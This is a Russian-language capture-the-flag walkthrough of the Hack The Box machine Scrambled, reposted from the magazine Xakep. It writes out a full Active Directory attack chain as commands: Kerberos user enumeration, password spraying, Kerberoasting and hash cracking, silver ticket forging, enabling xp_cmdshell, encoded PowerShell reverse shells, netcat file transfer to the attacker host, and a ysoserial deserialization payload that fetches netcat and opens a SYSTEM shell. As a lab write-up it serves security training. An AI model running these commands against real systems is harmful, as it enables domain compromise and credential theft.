Хакер - HTB Scrambled. Применяем ASREPRoast и Kerberoasting для атаки на SMB и MS SQL

Хакер - HTB Scrambled. Применяем ASREPRoast и Kerberoasting для атаки на SMB и MS SQL

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • OSINT
  • Kerberos
  • Точка опоры
  • Kerberoasting
  • Silver Ticket
  • Продвижение
  • Пользователь SqlSvc
  • Пользователь MiscSvc
  • Локальное повышение привилегий

В сегод­няшнем рай­тапе я покажу, как ата­ка ASREPRoast поз­воля­ет получить тикет для служ­бы MS SQL. Дан­ные из базы помогут нам в прод­вижении, а для повыше­ния при­виле­гий заюзаем уяз­вимость при исполь­зовании сери­али­зации.

На­ша цель — зах­ват тре­ниро­воч­ной машины Scrambled с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. 

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts, что­бы к ней было удоб­нее обра­щать­ся:

10.10.11.168 scrambled.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Наш­лось мно­го откры­тых пор­тов, что типич­но для Windows:

  • 53 — служ­ба DNS;
  • 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
  • 88 — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC), исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 1433 — СУБД Microsoft SQL Server 2019;
  • 3268 (LDAP) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 4411 — какое‑то поль­зователь­ское при­ложе­ние;
  • 5985 — служ­ба WinRM;
  • 9389 — веб‑служ­бы AD DS.

Все перечис­ленные служ­бы Microsoft пока что ничего нам дать не могут, поэто­му пер­вым делом смот­рим сайт.

Стра­ница IT Services

Сра­зу отме­чаем полез­ную информа­цию: аутен­тифика­ция NTLM отклю­чена.

ТОЧКА ВХОДА

OSINT

На одной из стра­ниц находим скрин­шот кон­соли, а в нем вид­но поль­зовате­ля ksimpson. Это очень важ­ная информа­ция!

Стра­ница Reports

На дру­гой стра­нице отме­чаем инс­трук­цию к ПО, работа­юще­му на пор­те 4411. Здесь обра­тим вни­мание на имя сер­вера и домен — dc1.scrm.local. Соот­ветс­тву­ющие записи добав­ляем в файл /etc/hosts.

10.10.11.168 scrambled.htb dc1.scrm.local scrm.local

Стра­ница IT Services

А так­же находим информа­цию о том, что имя поль­зовате­ля может выс­тупить в качес­тве пароля.

Ин­форма­ция о сбро­се пароля

Kerberos

Мы можем отпра­вить зап­рос ASREP, сущес­тву­ет ли тот или иной акка­унт. Есть воз­можность зап­росить ключ (AS key) Kerberos это­го поль­зовате­ля, ключ будет зашиф­рован с помощью его пароля. Но дело в том, что сер­вер раз­лича­ет отве­ты «дан­ный флаг не уста­нов­лен» и «учет­ная запись не сущес­тву­ет». А зна­чит, если прой­дем­ся по име­нам поль­зовате­лей и для какого‑то нам отве­тят, что флаг не уста­нов­лен, мы узна­ем, что эта учет­ка сущес­тву­ет. Сде­лать такой перебор мож­но с помощью инс­тру­мен­та GetNPUsers из пакета impacket. Имя поль­зовате­ля у нас уже есть.

GetNPUsers.py scrm.local/ksimpson -no-pass

Про­вер­ка сущес­тво­вания поль­зовате­ля

Нам отве­тили, что флаг не уста­нов­лен, а зна­чит, учет­ная запись сущес­тву­ет. Теперь с помощью kerbrute про­верим пароль поль­зовате­ля.

kerbrute_linux_amd64 passwordspray -d scrm.local --dc dc1.scrm.local users.txt ksimpson

Про­вер­ка пароля поль­зовате­ля

Учет­ные дан­ные ока­зались вер­ны, поэто­му мы можем зап­росить тикет поль­зовате­ля и при­менить его как аутен­тифика­тор, вмес­то пароля. В этом нам поможет скрипт getTGT из того же impacket.

impacket-getTGT scrm.local/ksimpson:ksimpson

По­луче­ние тикета поль­зовате­ля ksimpson

Эк­спор­тиру­ем получен­ный тикет и под­клю­чаем­ся к служ­бе SMB. Что­бы уда­лось аутен­тифици­ровать­ся, вре­мя на тво­ем хос­те и на сер­вере дол­жно отли­чать­ся не боль­ше чем на пять минут. Поэто­му сто­ит обно­вить локаль­ное вре­мя по про­токо­лу NTP.

sudo ntpdate scrm.local

export KRB5CCNAME=ksimpson.ccache

impacket-smbclient -k scrm.local/ksimpson@dc1.scrm.local -no-pass

Под­клю­чение к ресур­су SMB

Ко­ман­дой shares получа­ем спи­сок ресур­сов. 

ТОЧКА ОПОРЫ

Прой­дясь по катало­гам, успешно заходим в Public.

use Pablic

SMB-ресурс Public

Там находим все­го один документ. Ска­чива­ем его коман­дой get <file>. В самом докумен­те рас­ска­зано о недав­нем взло­ме служ­бы MS SQL.

Со­дер­жимое заг­ружен­ного докумен­та

 

Kerberoasting

Раз мы име­ем дело с MS SQL, зна­чит, можем выпол­нить ата­ку Kerberoasting. Ее цель — соб­рать билеты TGS для служб, которые запус­кают­ся от име­ни поль­зовате­лей, а не от сис­темных уче­ток. Тикеты TGS зашиф­рованы клю­чами, получен­ными из паролей поль­зовате­лей, а зна­чит, их дан­ные мож­но взло­мать прос­тым перебо­ром. Уяз­вимые учет­ные записи опре­делим по полю SPN, которое не будет пус­тым. Выпол­ним зап­рос TGS с помощью скрип­та GetUserSPNs из все того же impacket.

GetUserSPNs.py scrm.local/ksimpson -dc-ip dc1.scrm.local -dc-host dc1.scrm.local -request -k -no-pass

По­луче­ние тикета учет­ной записи служ­бы MS SQL

Те­перь сох­раним тикет в файл и отда­дим JTR для перебо­ра. Пароль учет­ной записи получим очень быс­тро.

john sqlsvc.hash --wordlist=rockyou.txt

Па­роль учет­ной записи

Silver Ticket

Мы получи­ли пароль служ­бы, и, что­бы с ней работать, сле­дующим шагом дол­жно быть получе­ние «сереб­ряного билета». Silver ticket — это реаль­ный билет TGS для опре­делен­ной служ­бы, в котором исполь­зует­ся NTLM поль­зовате­ля. Он даст нам дос­туп к этой служ­бе. Что­бы сге­нери­ровать такой билет, нам нуж­но знать NTLM-хеш пароля и SID домена. SID домена получим из отла­доч­ной информа­ции при выпол­нении impacket-secretsdump.

impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local -no-pass -debug

SID домена

А хеш генери­руем на сай­те md5decrypt.net из получен­ного пароля.

NTLM-хеш пароля

А теперь генери­руем билет.

ticketer.py -domain scrm.local -spn MSSQLSVC/dc1.scrm.local -user-id 500 Administrator -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200

Соз­дание сереб­ряного билета

Эк­спор­тиру­ем соз­данный билет в рабочее окру­жение и под­клю­чаем­ся к служ­бе MS SQL, исполь­зуя аутен­тифика­цию Kerberos.

export KRB5CCNAME=Administrator.ccache

mssqlclient.py dc1.scrm.local -k -no-pass

SELECT name FROM master.dbo.sysdatabases

Су­щес­тву­ющие базы дан­ных

ПРОДВИЖЕНИЕ

Пользователь SqlSvc

Пе­рей­дем к базе дан­ных ScrambleHR и получим из нее таб­лицы.

use ScrambleHR

SELECT name FROM SYSOBJECTS WHERE xtype = 'U'

Таб­лицы в базе ScrambleHR

Нас инте­ресу­ет таб­лица поль­зовате­лей UserImport. Получа­ем все ее записи.

select * from UserImport

Дан­ные в таб­лице UserImport

С най­ден­ными учет­ными дан­ными под­клю­чить­ся никуда не удас­тся, поэто­му поп­робу­ем получить управле­ние через MS SQL. Пер­вым делом нуж­но акти­виро­вать xp_cmdshell. Из нашего интер­пре­тато­ра это мож­но сде­лать встро­енной коман­дой enable_xp_cmdshell, пос­ле чего выпол­няем рекон­фигура­цию.

enable_xp_cmdshell

reconfigure

Вклю­чение xp_cmdshell

Те­перь мы можем выпол­нять коман­ды через xp_cmdshell.

По­луче­ние коман­дной обо­лоч­ки

Сра­зу про­кинем реверс‑шелл, который сге­нери­руем с помощью очень удоб­ного Online Reverse Shell Generator. Для него нуж­но ука­зать парамет­ры, такие как локаль­ные хост и порт, а так­же язык и целевую сис­тему. Допол­нитель­но зада­ем кодиров­ку Base64. Лис­тенер запус­каем коман­дой rlwrap -cAr nc -lvnp 4321.

xp_cmdshell powershell -e JABjA....AoACkA

Бэк­коннект с уда­лен­ного хос­та

По­луча­ем бэк­коннект и прод­вига­емся даль­ше.

Пользователь MiscSvc

У нас уже есть учет­ные дан­ные поль­зовате­ля MiscSvc, поэто­му поп­робу­ем получить новую сес­сию PowerShell:

$pass = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential("scrm\miscsvc", $pass)

Invoke-Command -Computer dc1 -ScriptBlock { whoami } -Credential $cred

Вы­пол­нение коман­ды whoami от име­ни дру­гого поль­зовате­ля

Так как коман­да была выпол­нена в дру­гом кон­тек­сте, проб­росим наш реверс‑шелл и про­дол­жим работу от име­ни MiscSvc:

Invoke-Command -Computer dc1 -ScriptBlock { powershell -e JABjA....AoACkA } -Credential $cred

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Зап­росив под­робную информа­цию о поль­зовате­ле, замеча­ем, что он сос­тоит в груп­пах ITShare и ITUsers.

whoami /all

Ин­форма­ция о поль­зовате­ле

Пе­рей­дем к общим ресур­сам и най­дем там каталог IT. Если зай­ти еще даль­ше, то нат­кнем­ся на исполня­емый файл ScrambleClient.exe.

Со­дер­жимое катало­га Sales Order Client

С помощью netcat забира­ем фай­лы с хос­та.

#local host

nc -lvp 6543 > ScrambleClient.exe

nc -lvp 7654 > ScrambleLib.dll

#remote host

type ScrambleClient.exe | C:\Users\miscsvc\Documents\nc.exe 10.10.14.113 6543

type ScrambleLib.dll | C:\Users\miscsvc\Documents\nc.exe 10.10.14.113 7654

И так как это при­ложе­ние .NET, мы можем его лег­ко деком­пилиро­вать с помощью dnSpy. По клас­су LoginWindow понима­ем, что это то самое при­ложе­ние, которое работа­ет на пор­те 4411.

Де­ком­пилиро­ван­ный класс LoginWindow

Ес­ли мы выпол­ним коман­ду LIST_ORDERS, нам вер­нут ответ SUCCESS и сери­али­зован­ный объ­ект. Инте­рес­но.

Ко­ман­да LIST_ORDERS
Де­коди­рова­ние отве­та

В исходном коде находим фун­кцию заг­рузки.

Ис­ходный код фун­кции UploadOrder

Так мож­но сери­али­зовать объ­ект и отпра­вить его через коман­ду UPLOAD_ORDER. Тог­да при десери­али­зации он дол­жен будет выпол­нить­ся. Для сери­али­зации будем исполь­зовать ysoserial для .NET. Сна­чала ска­чаем со сво­его хос­та netcat, для чего коман­дой python3 -m http.server -p 8080 под­нима­ем веб‑сер­вер.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "powershell wget 10.10.14.64:8080/nc64.exe -O C:\Windows\Temp\nc.exe" -o base64

Се­риали­зация наг­рузки
От­прав­ка сери­али­зован­ных дан­ных

Ког­да файл будет заг­ружен, пов­торим наш трюк. Но на этот раз реверс‑шелл соз­дадим с помощью ска­чан­ного netcat. В соз­данный лис­тенер дол­жен при­лететь бэк­конект в кон­тек­сте SYSTEM.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "C:\Windows\Temp\nc.exe 10.10.14.64 4321 -e cmd.exe" -o base64

Флаг рута

За­бира­ем флаг рута, и машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page